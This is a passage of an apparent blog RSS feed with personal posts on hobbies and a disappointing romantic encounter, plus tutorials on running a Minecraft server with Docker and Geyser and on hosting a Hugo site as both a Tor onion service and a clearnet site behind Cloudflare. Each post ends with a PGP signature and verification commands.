    Somewhere during my bachelors I also became fascinated by coffee! +I watched many James Hoffman videos and learned how to use different berewing methods for coffee, and did lots of experiments with it. +Then came matcha, though with matcha things are much more limited.

    +

    Another thing that comes to mind is boardgames. +I love boardgames that you need to think and be smart! +An example is Cluedo. +People usually don’t like to play it with me because I pay attention to “everything”. +But I also anjoy playing other simpler games like UNO, Risk, Catan, card games, Coup, and many many other fun party games. +I have a whole collection of boardgames that I don’t get to play! :-P +One of my all time favorite games is “Zaar” (a persian game that was discontinued), and a game kinda similar to it called “The Night Cage”. +I like them because there is a bit of strategy, luck, and a lot of co-op in them. +In the later you either all win together, or get doomed. +In the first one there is a comperition aspect to the game which makes it cool.

    +

    Cooking is another hobby of mine, although I only enjoy it when done with someone, or in a group. Aaaaaand guess what, I’m a loner! (Drat. :P) +I love to “not follow recipes” and try new things. +Foods I make usually turn out to be quite yummy actually, though definitly not authentic. +I also think I do a good job with the presentation part when I try. +And I’m open to cooking anything and everything!

    +

    I was also interested in Hiking, but never really got to know someone who is both interested and willing to go with me, and when I’m alone, I rather do my other hobbies.

    +

    And that leaves me with my latest two hobbies. CTFs, and 3D printing! Oh ,and I guess maybe blogging and sharing photos online? Idk! xD

    +

    3D printing is an interesting one. +I was fascinated about it from before, but never got my hands on a 3D printer until like 7 months ago. +When I went to 38c3 last year, I saw so many printers, and how cool they were. +And somehting in my heart was touched, that I need one! +The thing is, I tend to like thinks that limit me to my creativity, like the IoT stuff, or how I always loved to play Minecraft as a kid. +And oh well, 3D printing is just the hobby! +I also tried to do some 3D design, but I’m quite a noob at it still. +I will probably share some of the things I’ve made somewhere somehow, but not for now at least. +Well, one of my cool projects inspired and mostly funded by my advisor was the INET logo (post comming soon!). +It’s so cute and fascinating, and I had an absolute blast working on it for the one week I did. +So much designing, fixing measurements, printing, coding, soldering, wiring, debugging, etc.! +I also 3D printed and painted many gifts and organizers and other figues for either myself, or my friends. +It’s just a fun thing to have, and to play around with. +The fixing part of it, and maintaining it is not as fun, but it’s part of the journey. +I will probably write about me and my 3D printer a lot more in the future. +Another cool thing I can do with it, and have been doing so, is to do prints for the PhD hat of the people who will be graduating, a German cute and cool tradition!

    +

    And now let’s talk about the CTF stuff. +This is somewhat related to my interest in computers, problem solving, and cryptography (kinda). +I’ve been wanting to do CTFs for a long time and throughout my Bachelors, but never did so. +After starting my PhD, I was introduced to Saarsec, and now I’m a proud member, trying to contribute as much as my time allows me to. +I’m not good at CTFs, but the joy of getting stuck on a problem, and maybe finally solving it is just too good to pass. +I love it! +I want to do more of it. +The only sad part is that it takes a long time, and well, I need to spend time on the social aspects of my life too. +Too shay. +I would love to share some of my write-ups here too, and also write about it in the future, but there is only so much time I can spend on the blog.

    +

    And last but not least, blogging. +Well, I kinda started it for no reason to be honest. +I just want to share my stories, and to show my vulnerable side with no guilt. +It feels freeing to do this, and I hope I continue! +I hope people won’t get mad if they are a part of these stories I share. +I try to not name any names if not required, but I do think putting my PoV helps me with reducing some anxiety and social pressure. +I really enjoy it!

    +

    With all this being said, I think that’s it. +If I remember other hobbies that I missed, I will add them to the end of the article or maybe write a new post about it, Idk. +The only thing I want to emphasize is that I’m into things that make me limited to my creativity. +Oh, and also books, if only I read them instead of watching Youtube!!!!

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbt8ACgkQtYgoUOBM
    +jSqvHBAAugjNjRO8BAXrZy/BCeaaLq9P87bm/hqVjqKDKz3KAzZggJ6a5MZ5IGs+
    +Ut2On5mWjbCYPwxS2scgLMpwNcmWht4zb4FnJIuENqXJsp95Mp0CWNAX4zEAA6bP
    +zc2L9rGoftLkdsPrSbYyx96DP4NWhaiE79LJevWtHXbJDWFgQ/b3MtgFvIK70Cft
    +L+2SUJrYHKCep1nhzWPhDcIXUwiZfGjZS8LyWJ/6eE3PxbIlAx4MyBUX3ZAcbRli
    +bGNjMfgVEcLATrLDT9zOumzMxSjRx85PK+Fyc+BlDnAO2qnjUgCW6XGn7QSy13AE
    +y5M3MwNhYdsdFeLDF/5YeMArV2lfSrd+CZXVpURputhkjJA8vjQ7CHsyKfo/ii0v
    +ZxeW4qRbT3PurO1ny6yNXc3q5oG4GEtEd27jIQlySU9W2UVpOFxtqZx9M4eflvIm
    +p/1yL1gDEUYNCWENcq07jbSWigXclVcC3GdDGFaHQc60gAncl82/ORKVuhgkvABE
    +JnG0MWALJeWVdolrNQvsrM9GT8kmUwXxJabQImsoK19kQxsCW6wF1x56iqA5mCVr
    +reupdpn62n3VFgtSEPrkcN8909Sp8kspl1zcxQ8/WC5hX/zCwAxvIu5V/cqSqysR
    +FoLCxShqcMKsEJoP74TdJnwKRO63CxXozUdUmmk28LrlqoGxJ/0=
    +=42yP
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/hobbies.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/hobbies.md.asc
    +gpg --verify hobbies.md.asc hobbies.md
    +  
    +
    + + +]]>
    +
    + + Relationships + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/relationships/ + Sun, 05 Oct 2025 08:03:31 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/relationships/ + My experience so far with relationships + +

    Notice: You’ll hear me ranting in this post, so buckle up, or just go to another fun post. I am very vulnerable right now and want to put out my story without naming anyone.

    +

    So… do you also think you’re a lover boy, kind, nice person? +So do I! +I think I’m actually really good at making friends with people. +Like you know, you start introducing yourself, asking them some fun personal questions about hobbies or other stuff, and then you eventually start talking about other things.

    +

    My problem is when things are to become more serious! +Like, you know… connecting at a more emotional level. +A “relationship”. +I’m really bad at those. +In fact, I haven’t ever been in one! +Now let’s be honest, I’m not your typical jacked, handsome boy, but I think I’m somewhere around the average if not higher a bit? +Well, at least I hope so! :D

    +

    I actually haven’t even dated once so far. +My closest dating experience was something that turned out not to be a date, although most people I spoke to, were like… yea dude… it was a date buddy. +Why do I say it wasn’t a date? +Well, because I was told so yesterday by her. +That if it’s a date, you’re supposed to say it beforehand. +I find that very fair actually. +I really do. +I wasn’t even looking for anything more than a friendship from whatever these two weeks of interactions were, but things seemed abnormal. +Like we planned a future together. +We planned planting flowers, hosting Kareoki. We planned cooking/baking together for fun. We talked about me taaching her cycling since she said she was interested in it. And many many other things!
    +We even found our “favorite shops” in the city together! +It was weird! I’m so confused. +I remember the second time we went out together, we sat next to the river and close to eachother. +She leaned into me at some point. +She had also touched my arm gently when making a joke earlier when we went shopping together. +It felt weird. +I did feel she was flirting with me, making plans with me. +She sought my opinion on many things, the house she was considering moving into, color and design of the cushions for her house, and many other things. +We also had many deep conversations in this short amount of time.

    +

    But then it happened. +Suddenly she messaged me saying how she is going to have a bf soon “hopefully”. +That others know him, but not me. +That where we live there are not that many people. +That supply is low, and demand is high. +That this person asked her fast so that “the slots won’t be filled”. +It was weird, as if she was telling me I’m going to be taken if you don’t do anything…? +After this weird encounter I talked to two of my friends, and my married brother and his wife. +When she heard about our interactions and all of the messages we passed, she did feel like I’ve been friendzoning her. +That I’m not resiprocating her feelings. +That she perhaps has a crush on me. +Even my brother felt the same! +My friend was a bit more unsure though, but he also felt like it could really be that she is playing games. +With all honestly, in her messages when she was teaching me the “ways”, she said “I don’t play games and I also advise you not to get together with people that do so”. +Last time we went out together, one-on-one, many of the people we knew saw us together and some of them gave us looks that gave me more confidence that what I’m doing is normal and things are going well. +But I guess I was wrong?

    +

    I do want to talk about some things that we exchanged on this weird conversation that made me confused. +She initially asked why I didn’t go out with them last night. +I had an exam on 7th, but we had planned two one-on-one going outs for 4th and 5th, hence the reason I skipped going out with a group of people rather to have less on my plate for those days we were going to hang out together. +With all honestly I didn’t even know she was joining them or not. +It’s kinda weird, but the plans were made in a group she was not inside of. +Anyway.

    +

    October 4th was a rainy day. +She said she might be catching a cold, and that going out in this weather is maybe not a good choice. +She said let’s go next weekend as the weather is better, and also that we can go out after work hours in weekdays. +You see? She proposed a different time and date, she didn’t just cancel last second. +And then she started talking about last night, the things that happened. +A guy apparently knew him, called her and then hugged her, and she insisted that she had only seen him once in Mensa last year and that she doesn’t know him. +Then she started talking about how there is so much gossip behind her back, and people who know those gossips are wrong do not speak up for her. +And then she talked about how hard it is to be a girl, and how boys do not understand difference between flirting and being polite. +Then she talked about how when two people see each other, a click can happen, and that’s how you can know if you like someone or not. If it’s two way ofc. +I asked her what is this “click”? +She said “you know when you know, and if you think you don’t know then there isn’t one”. +Interesting. +My poor brain started looking back at our own interactions. +I remembered how she smiled at me, leaned toward me, touched my arm, planned a future with me in it… +And again I felt she is hinting something. +Poor me was stuck between a rock and a hard place. +She told me that if I like someone I should ask them on a date “early”, as time is of essence. +Again, I was confused. +I was lost. +We’ve been hanging out for two weeks, we have our favorite similar shops, hobbies. +We have plans together. +We understood eachother. +Or maybe that’s just how I felt in my mind? +Maybe things in my brain are just different? +I don’t know.

    +

    My sister in law told me that she probably had a crush on me and that I didn’t reciprocate her feelings perhaps? +That I’m friendzoning her by not touching her back or asking her out on a “date”. +Her reasoning is that she initiated all of this. +She asked me to go to see the house she was considering renting, and then asked me to go out with her after that. +She told me that I should invite her to a date. +That I have to do something romantic now, maybe get flowers, and a gift. +And I did just that. +I messaged her talking about all of the good traits I had seen from her, her behaviour, and habits. +And I asked her on a date.

    +

    She said she enjoyed the company too, and thanked me. +She then said she is starting a new relationship, but even if that was not the case, “we were so different from eachother at a much deeper level”. +That her “life experiecnes” are just different, “and so on”. +She did actually say “and so on”.

    +

    You know what it reminds me of? +Of when your paper gets rejected by saying “lacks novelty”. xD

    +

    Another extremely funny thing is that she said we’re so different at a much deeper level, but she doesn’t even know me. +What was meant at a deeper level? +I’m confused again. +She definitly does not know my hobbies, most of my interests, my stories, my family, friends, nothing. +She knew nothing about me. +How are we different so deeply if you don’t even know me? I’m so so incredibly confused. +I guess it could be the looks, and the “vibes”? +But again, I do think she did not have a more polite better reason but did want to provide some sort of an explanation so that I won’t pursue her I guess? +Idk.

    +

    I want to also come back to this point she made that she is “starting a new relationship”. +She told me in the same conversation that someone asked her out (which she technically didn’t even say this, but it could be induced), and that going on a date “does not mean you’re in a relationship, that you want to know eachother”. +Her saying that “I said I’m starting a new relationship” hurt me, not because she is doing that, because she didn’t technically tell me that. +She then said “I always tell people this to avoid confusion”. +I definitly didn’t miss it if she did. She didn’t, but whatever. It’s fine. I did apologize. +The reason I say this is that some other guys we knew came up to her and she was encouraging them to go see other girls, but not me… +Did I miss it? +She didn’t. Just trust me on this one. ;)

    +

    I’m just confused. +The last three times I had a crush on someone I confessed too. +First case was in a relationship which became awkward as she told her bf and he bullied me (drat!). +Second case ended up in a tragedy that I do not want to talk about, lol! +All I can say is that she definitly panicked and I don’t blame her. +I do think in her case she had avoidant attachment and my anxious attachment style made her uncomfortable. +The third one said that she is in an “undefined state” of a relationship, and that she wants to keep it “friendly” in university, which is completely fair. +But this last one. +This was the weird one. +The first and third one were really sweet to me when I confessed/asked them out. +The last one didn’t even show interest about being friends, which is again totally fine. +But I’m just so baffeled by all of this.

    +

    So… yea. This last “thing”, whatever it was, was my closest encounter with a relationship, and maybe it will be for a while. +I do think I need to take a break from trying to get into a relationship. +I’ve been hurt a lot by the second one, and this was just confusing. +In her defence she was an amazing person. +Smart, cute, kind, positive, jolly, witty, social, and her taste was just amazing. She also had deep knowledge in many things I was also interested in. Oh well. such is life! +I can’t just say the good stuff though. She was definitly a bit self-centered. It’s funny how she told me that “people say I’m so proud in a negative way, but anyone who talks with me knows I’m not like that”. Which is true, she wasn’t proud, the correct term is self-centered, or “narcissistic” if you will, which I don’t neceserrialy think is bad, but it is definitly an orange/yellow flag.

    +

    One thing I know is that I do wish her and whoever she dates the best! <3 +And that I would be ok to stay friends with her, but since I’m hurt, I will be much colder. +Sorry. :) +And another thing I know is that I will never think about her, or people like her romantically, or at least I try not to. +Fast progression ends like this? +But then maybe we never progressed? +I don’t know.

    +

    Well. I don’t know what’s gonna happen next, but I’m going to just live my life and have fun. +Aaaaaaaand maybe not worry about being single? +Being single is fun too! ^^ You have so much freedom. I love to also work on myself a bit, lose some weight, do the sports I love, and make new friends. Maybe someday this hopeless romantic little lover boy won’t be alone? Who knows? haha.

    +
    +

    P.S.: My therapist thought this relationship was abusive in essense, and the thing that happened in the end was purely seductive. I was chasing bread crumbs to be taken advantage of. I’m worth more than that. :) In my therapy session I remembered that in each of these so called “not dates” we had a conversation about “her”, and she was dumping her emotional baggage on me, just like what happened this last time that confused me.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbt8ACgkQtYgoUOBM
    +jSqiiQ//eJCVvQEStc2rjNW3CYCwsumCJcZOWFPevf16UiZ6vDqzmIVwrA++dKrn
    ++rKVPmutHY5fR367QSXtfFqIxtsBKJ7zF/OMkYT8Kyi0EfI0Tiz7Hs7pT0rnw1Ns
    +pl+tEYMazzRwbHV3PEgKDVktc4TlCz0MwaUQ+pBdSu0tCU4flVcDiTagVUE0hId8
    +LC/unRH9o1S/iLLM4Fhao7Aifxr+lAjyi9v1//rlvhrbTt1L1mcFRFdnEf/4n4M8
    +x/cNOHdqjE3w/QNcjqAJDzy91ewxsiozSmwqx8fTdOmWpqXBtva4falGOQjgxzdR
    +l62/9qOspUMSf3nrePLMbDpJ2UvFZOna7pfNByX4TkMG5aquZH7ZjpiAhIRD706Y
    +Bq942gP8J14AnhZfss7QNY65dQV+h4WH+nnNELB0j9ekB2kEOdz3HzrbelKRdiOW
    +vd738e/uEkDwSD7t2ZIxsshVE/s9RbpKlPTV1M6qKkW2LGUcOvZ5KcVGkLFQDilo
    +6F5bjdx//SRiRfP1AwLyUggQCN8hDHKBvdpKOaVVdox49vZuUvFdHeyObbc/Hzoo
    +9V5I6WIfGqsCwwzcvndgVYbQ31q5NQ2Fc8dgQf219e9Mk/dyjTfea+6oBIiUF8j+
    +SB3F3CBqqIQDvofrLbHgD8KyeiigvSuoHReao7hjAmIJBhxYsjQ=
    +=lM4c
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/relationships.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/relationships.md.asc
    +gpg --verify relationships.md.asc relationships.md
    +  
    +
    + + +]]>
    +
    + + Dockerizing my Minecraft Server + Geyser: from 'no space left' to stable releases + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/minecraft_server/ + Mon, 29 Sep 2025 09:06:29 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/minecraft_server/ + How I containerized a Java Minecraft server with Geyser, hit a /var space wall, and locked the server to the latest stable release. + Why +

    I’ve been running a Java Minecraft world (with Bedrock players via Geyser) in tmux. I moved it to Docker for easier updates, backups, and restarts. Along the way I hit:

    +
      +
    • failed to register layer: ... no space left on device
    • +
    • Client saying: “Outdated client, please use 1.21.9 Pre-Release 2”
    • +
    • Wanting config in a neat .env and no whitelist
    • +
    +

    Here’s exactly what I did.

    +
    +

    Folder layout

    +
    ~/minecraft/
    +├─ docker-compose.yml
    +├─ .env
    +└─ plugins/
    +

    +

    .env (secrets & knobs)

    +

    Use the latest stable (not snapshots/pre-releases) by setting VERSION=LATEST.

    +
    # Minecraft server configuration
    +EULA=TRUE
    +TYPE=PAPER
    +VERSION=LATEST
    +MEMORY=4G
    +USE_AIKAR_FLAGS=true
    +
    +# RCON (remote console)
    +ENABLE_RCON=true
    +RCON_PASSWORD=superSecretPassword123
    +
    +

    I don’t use a whitelist, so no WHITELIST/ENFORCE_WHITELIST variables.

    +
    +

    docker-compose.yml

    +
    services:
    +  mc:
    +    image: itzg/minecraft-server:latest
    +    container_name: mc
    +    restart: unless-stopped
    +    ports:
    +      - "25565:25565"        # Java
    +      - "19132:19132/udp"    # Bedrock via Geyser plugin
    +    env_file:
    +      - .env
    +    volumes:
    +      - mc-data:/data
    +      - ./plugins:/plugins:ro
    +volumes:
    +  mc-data: {}
    +
    +

    The version: key in Compose is obsolete now, so I dropped it.

    +
    +

    Add Geyser (and optional Floodgate) as plugins

    +
    mkdir -p ~/minecraft/plugins
    +cd ~/minecraft/plugins
    +
    +# Geyser (Spigot/Paper)
    +wget https://download.geysermc.org/v2/projects/geyser/versions/latest/builds/latest/downloads/spigot   -O Geyser-Spigot.jar
    +
    +# Floodgate (optional: Bedrock accounts without Java linking)
    +wget https://download.geysermc.org/v2/projects/floodgate/versions/latest/builds/latest/downloads/spigot   -O Floodgate-Spigot.jar
    +

    Start it up:

    +
    docker compose up -d
    +

    On first run, Geyser writes its config to /data/plugins/Geyser-Spigot/. Open UDP 19132 on your firewall.

    +
    +

    Hit a wall: /var ran out of space

    +

    Docker stores layers at /var/lib/docker by default. My /var LV was tiny:

    +
    /dev/mapper/ubuntu--vg-var   3.9G  3.4G  333M  92% /var
    +

    Quick cleanup

    +
    docker system df
    +docker system prune -f
    +docker builder prune -af
    +sudo apt-get clean
    +sudo journalctl --vacuum-size=100M
    +

    If that’s not enough, you have two good options:

    +

    Option A — Move Docker’s data off /var

    +
    sudo systemctl stop docker
    +sudo mkdir -p /home/docker
    +sudo rsync -aHAX --info=progress2 /var/lib/docker/ /home/docker/
    +echo '{ "data-root": "/home/docker" }' | sudo tee /etc/docker/daemon.json
    +sudo systemctl start docker
    +docker info | grep "Docker Root Dir"
    +

    If all looks good, free the old space:

    +
    sudo rm -rf /var/lib/docker/*
    +

    Option B — Grow /var (LVM)

    +

    Check free space in the VG:

    +
    sudo vgdisplay   # look for "Free PE / Size"
    +

    If available, extend /var by +5G:

    +
    sudo lvextend -L +5G /dev/mapper/ubuntu--vg-var
    +sudo resize2fs /dev/mapper/ubuntu--vg-var
    +

    +

    The version mismatch: pre-release vs stable

    +

    My logs showed:

    +
    Starting minecraft server version 1.21.9 Pre-Release 2
    +

    That happens if the server pulls a pre-release build (or if VERSION=LATEST). Fix:

    +
      +
    1. Ensure .env has: +
      VERSION=LATEST_RELEASE
      +
    2. +
    3. Recreate: +
      docker compose down
      +docker compose pull
      +docker compose up -d
      +
    4. +
    5. Verify: +
      docker logs mc | grep "Starting minecraft server version"
      +# -> Starting minecraft server version 1.21.1   (example)
      +
    6. +
    +
    +

    Tip: If you want to pin and avoid auto-updates entirely, set VERSION=1.21.1 (or whatever stable you’ve validated).

    +
    +

    No whitelist

    +

    Because I don’t set WHITELIST/ENFORCE_WHITELIST, anyone can join (subject to online-mode, bans, and Geyser/Floodgate auth settings). Manage ops/permissions via:

    +
    docker exec -it mc rcon-cli "op YourJavaIGN"
    +

    (or edit /data/ops.json).

    +
    +

    Backup & updates

    +
      +
    • World/data live under the mc-data volume → back up /data regularly.
    • +
    • Update cleanly: +
      docker compose pull && docker compose up -d
      +
    • +
    • Watch space: +
      watch -n5 'df -h /var; docker system df'
      +
    • +
    +
    +

    TL;DR

    +
      +
    • Put Geyser/Floodgate jars in ./plugins and expose 19132/udp.
    • +
    • Keep configs in .env.
    • +
    • Fix /var space by pruning, moving Docker’s data-root, or extending /var via LVM.
    • +
    • Verify version in logs after each change.
    • +
    +

    Happy block-breaking! 🧱🚀

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuAACgkQtYgoUOBM
    +jSrrmBAAuVoSvB3tRIzD+N0F5OwfYvG3V3z6ok58df7p4js91/a9lcki2ywxw/Dy
    +Q3aeieiGITkd/zMNjTydy4XjkScoRFFlL5GVZ2WNjO8CvjpEv3nK7EX6jRt5leMV
    +0D0DESMnOQzgo4a1CuNHrYPHKPaMVpJ/1aKOUZwyPC9j8/70irAJpoA2jdBgSsxw
    +7p/hYijX0vGJ8+WSFj6707dh6hNRk5ZaNc0cElpkE4kXA31H0h/fRwPPteT4wjGA
    +JWQAyEUu3Vx/U0BnN6R9Lne+5cqxO0Kh8VrcBpyH2VpqH3fDk1fIHk1RdhDxwKD7
    +OzvAT5XXRS5Q6Udc7Nsa9T/OYG+elcgMAMFXosItqTRJNG72OyWloLVc/OrJ5Qsc
    +s81FbfcHp1dgjJ2gtO2Eyb/wb1WkyvrQegNnjuJzMt3awBN1BWex5Nn4Bz+UbLDz
    +g6dGQxcpfDJ6F9Tjz/ru7RZ9Yic/bo8vVvKaa6FhSAwF4SluKWS3cf3meE4GQD5r
    +NrClzg0Vujk/3zP/6yhCL7I0SwQ+NeW2HoUHeoawApBmFt/q5du4ftIx2iMMeWoH
    +F91H35CchRtKArxjpwFNt/J1QAPvKx9UvzA2uAl+LNOWXf/gomXH6Tqm9vnWr/aX
    +sczdH6N2E0+7KDO7NwjBJWa/QwdXKUlOq5fFgAop22v3vWOml1M=
    +=NmxL
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/minecraft_server.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/minecraft_server.md.asc
    +gpg --verify minecraft_server.md.asc minecraft_server.md
    +  
    +
    + + +]]>
    +
    + + Running my blog on Tor (.onion) and the Clearnet with Hugo + PaperMod + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/tor_clearnet_blog/ + Fri, 19 Sep 2025 00:00:00 +0000 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/tor_clearnet_blog/ + How I hosted a Hugo + PaperMod site both as a Tor onion service and a normal HTTPS site behind Cloudflare, with clean configs, dual builds, and a one-command deploy. + +

    TL;DR — The site is built once (Hugo project), published twice:

    +
      +
    • Onion: http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/ via Tor, no TLS/HSTS, bound to 127.0.0.1:3301.
    • +
    • Clearnet: https://blog.alipourimjourneys.ir behind Cloudflare, Let’s Encrypt cert, Onion-Location header pointing to the onion mirror.
    • +
    +
    +

    1) Tor hidden service (onion) basics

    +

    I used Tor’s v3 onion services and mapped onion port 80 → my local web server on 127.0.0.1:3301.

    +

    Install & configure Tor (Debian/Ubuntu):

    +
    sudo apt update && sudo apt install -y tor
    +sudoedit /etc/tor/torrc
    +

    Add:

    +
    HiddenServiceDir /var/lib/tor/hidden_site/
    +HiddenServicePort 80 127.0.0.1:3301
    +

    Make sure the directory is owned by Tor’s user and private:

    +
    sudo mkdir -p /var/lib/tor/hidden_site
    +sudo chown -R debian-tor:debian-tor /var/lib/tor/hidden_site
    +sudo chmod 700 /var/lib/tor/hidden_site
    +

    Important: use the right systemd unit:

    +
    # validate as the Tor user
    +sudo -u debian-tor tor -f /etc/tor/torrc --verify-config
    +
    +# (re)start the real service
    +sudo systemctl enable --now tor@default
    +sudo systemctl restart tor@default
    +

    Get the onion address:

    +
    sudo cat /var/lib/tor/hidden_site/hostname
    +

    Quick check (do remote DNS via SOCKS):

    +
    curl -I --socks5-hostname 127.0.0.1:9050 "http://$(sudo cat /var/lib/tor/hidden_site/hostname)"
    +

    +

    2) Nginx for the onion (localhost-only)

    +

    I keep the onion site strictly on localhost: no HTTPS, no redirects, no HSTS. Tor already provides e2e encryption and authenticity.

    +

    /etc/nginx/sites-available/onion-blog:

    +
    server {
    +    listen 127.0.0.1:3301 default_server;
    +    server_name <your-56-char>.onion 127.0.0.1 localhost;
    +
    +    # keep onion simple; no HSTS/redirects here
    +    add_header Referrer-Policy no-referrer always;
    +    add_header X-Content-Type-Options nosniff always;
    +    add_header X-Frame-Options SAMEORIGIN always;
    +    # (optional) strict CSP so nothing leaks to clearnet
    +    # add_header Content-Security-Policy "default-src 'self'; img-src 'self' data:; style-src 'self' 'unsafe-inline'; script-src 'self'" always;
    +
    +    root /srv/hugo/mysite/public-onion;
    +    index index.html;
    +
    +    location / { try_files $uri $uri/ /index.html; }
    +    location ~* \.(css|js|ico|png|jpg|jpeg|gif|svg|webp|txt|xml)$ {
    +        access_log off;
    +        add_header Cache-Control "public, max-age=31536000, immutable";
    +        try_files $uri =404;
    +    }
    +}
    +

    Enable/reload:

    +
    sudo ln -sf /etc/nginx/sites-available/onion-blog /etc/nginx/sites-enabled/onion-blog
    +sudo nginx -t && sudo systemctl reload nginx
    +
    +

    Gotcha I hit: I had two server blocks on 127.0.0.1:3301, which caused 404s via onion. Make sure only the intended vhost listens there (or mark it default_server). Also, if you ever use a regex in server_name, the syntax is server_name ~* \.onion$ (note the space after ~*).

    +
    +

    3) Hugo + PaperMod setup (and version bumps)

    +

    PaperMod now requires Hugo Extended ≥ 0.146.0. I installed the extended binary from the official tarball to avoid Snap’s sandbox limitations (Snap can’t read /srv paths by default).

    +
    # install Hugo extended (example)
    +VER=0.146.0
    +cd /tmp
    +wget https://github.com/gohugoio/hugo/releases/download/v${VER}/hugo_extended_${VER}_Linux-amd64.tar.gz
    +tar -xzf hugo_extended_${VER}_Linux-amd64.tar.gz
    +sudo mv hugo /usr/local/bin/hugo
    +hugo version  # should say "extended" and >= 0.146.0
    +

    Create the site and theme:

    +
    sudo mkdir -p /srv/hugo && sudo chown -R "$USER":"$USER" /srv/hugo
    +cd /srv/hugo
    +hugo new site mysite
    +cd mysite
    +git init
    +git submodule add https://github.com/adityatelange/hugo-PaperMod themes/PaperMod
    +

    Config updates: in newer Hugo, paginate is deprecated → use:

    +
    # config/_default/hugo.toml
    +title = "My Blog"
    +theme = "PaperMod"
    +enableRobotsTXT = true
    +
    +[pagination]
    +  pagerSize = 10
    +
    +[params]
    +  defaultTheme = "auto"
    +  showReadingTime = true
    +  showPostNavLinks = true
    +  showBreadCrumbs = true
    +  showCodeCopyButtons = true
    +

    I added per-environment overrides so I can build two outputs with different baseURLs:

    +
    # config/clearnet/hugo.toml
    +baseURL = "https://blog.alipourimjourneys.ir/"
    +
    +# config/onion/hugo.toml
    +baseURL = "http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/"
    +

    +

    4) Dual builds (clearnet + onion) and one-command deploy

    +

    I publish the same content twice—once for each base URL and docroot:

    +
    cd /srv/hugo/mysite
    +# clearnet build (served over HTTPS)
    +hugo --minify --environment clearnet -d public-clearnet
    +# onion build (served via Tor)
    +hugo --minify --environment onion    -d public-onion
    +sudo systemctl reload nginx
    +

    Helper script I use:

    +
    sudo tee /usr/local/bin/build-both >/dev/null <<'EOF'
    +#!/usr/bin/env bash
    +set -euo pipefail
    +cd /srv/hugo/mysite
    +hugo --minify --environment clearnet -d public-clearnet
    +hugo --minify --environment onion    -d public-onion
    +sudo systemctl reload nginx
    +echo "Deployed both at $(date)"
    +EOF
    +sudo chmod +x /usr/local/bin/build-both
    +

    While editing, I sometimes auto-rebuild on file save:

    +
    sudo apt install -y entr
    +cd /srv/hugo/mysite
    +find content layouts assets static config -type f | entr -r build-both
    +

    +

    5) Clearnet behind Cloudflare + Let’s Encrypt (manual DNS-01)

    +

    Cloudflare is set to Full (strict). I issued a public cert for blog.alipourimjourneys.ir using manual DNS-01 (no API token):

    +
    sudo snap install --classic certbot
    +sudo certbot certonly --manual --preferred-challenges dns   -d blog.alipourimjourneys.ir   --agree-tos -m you@example.com --no-eff-email
    +

    Certbot tells you to add a TXT record _acme-challenge.blog.alipourimjourneys.ir. Add it in Cloudflare DNS, verify with dig, then continue. Cert ends up at:

    +
    /etc/letsencrypt/live/blog.alipourimjourneys.ir/fullchain.pem
    +/etc/letsencrypt/live/blog.alipourimjourneys.ir/privkey.pem
    +

    Clearnet Nginx vhosts:

    +
    # HTTP → HTTPS redirect (optional; CF usually talks HTTPS to origin anyway)
    +server {
    +  listen 80; listen [::]:80;
    +  server_name blog.alipourimjourneys.ir;
    +  return 301 https://blog.alipourimjourneys.ir$request_uri;
    +}
    +
    +# HTTPS origin (behind Cloudflare)
    +server {
    +  listen 443 ssl http2; listen [::]:443 ssl http2;
    +  server_name blog.alipourimjourneys.ir;
    +
    +  ssl_certificate     /etc/letsencrypt/live/blog.alipourimjourneys.ir/fullchain.pem;
    +  ssl_certificate_key /etc/letsencrypt/live/blog.alipourimjourneys.ir/privkey.pem;
    +
    +  # HSTS on clearnet only
    +  add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
    +
    +  # Help Tor Browser discover the onion mirror (safe on clearnet)
    +  add_header Onion-Location "http://<your-56-char>.onion$request_uri" always;
    +
    +  root /srv/hugo/mysite/public-clearnet;
    +  index index.html;
    +
    +  location / { try_files $uri $uri/ /index.html; }
    +}
    +
    +

    Note: don’t add HSTS or HTTPS redirects to the onion vhost. Keep onion pure HTTP on localhost.

    +
    +

    6) Troubleshooting I ran into (and fixes)

    +
      +
